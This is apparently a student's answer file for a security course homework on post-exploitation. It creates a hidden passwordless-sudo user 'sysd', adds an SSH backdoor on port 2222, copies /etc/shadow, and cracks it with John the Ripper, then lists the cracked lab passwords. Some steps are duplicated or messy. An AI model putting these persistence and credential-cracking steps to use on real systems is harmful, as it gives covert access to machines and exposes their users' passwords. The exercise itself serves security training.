Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

   - **useradd --no-create-home -u 666 sysd**

2. Give your secret user a password:
   -As sysd: Delete current blank password: sudo passwd -d `whoami`
   -passwd
   passwd set to "sudoers"

3. Give your secret user a system UID < 1000:

   - useradd --no-create-home -u 666 sysd

4. Give your secret user the same GID:

   - groupmod -g 666 sysd

5. Give your secret user full `sudo` access without the need for a password:

   - sudo visudo

   - Under #vagrant group (it must be legit, it's part of vagrant right?):

   - sysd ALL=(ALL:ALL) NOPASSWD:ALL

6. Test that `sudo` access works without your password:

```
$ sudo -l
Matching Defaults entries for sysd on scavenger-hunt:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/
bin\:/snap/bin
User sysd may run the following commands on scavenger-hunt:
(ALL : ALL) NOPASSWD: ALL
```

Step 2: Smooth Sailing

1. Edit the `sshd_config` file:

```
$ sudo nano /etc/ssh/sshd_config
```

add additional port line
#port 22
port 2222

~~~
```
~~~

Step 3: Testing Your Configuration Update

1. Restart the SSH service:
   - sudo systemctl restart ssh.service

2. Exit the `root` account:

- `exit

3. SSH to the target machine using your `sysd` account and port `2222`:

    - ssh sysd@192.168.6.105 -p 2222

4. Use `sudo` to switch to the root user:

    - sudo -s

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`:

    - ssh sysd@192.168.6.105 -p 2222

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

```
- sudo -s
- cat /etc/passwd > passwd.txt
- cat /etc/shadow > shadow.txt
- unshadow passwd.txt shadow.txt > passwords.txt
- john passwords.txt
-   root:root\ $ john --show passwords.txt
```

```
sysadmin:passw0rd:1000:1000:sysadmin:/home/sysadmin:/bin/bash
student:Goodluck!:1001:1001::/home/student:/bin/bash
mitnik:trustno1:1002:1002::/home/mitnik:/bin/bash
babbage:freedom:1003:1003::/home/babbage:/bin/bash
lovelace:dragon:1004:1004::/home/lovelace:/bin/bash
stallman:computer:1005:1005::/home/stallman:/bin/bash
turing:lakers:1006:1006::/home/turing:/bin/bash
```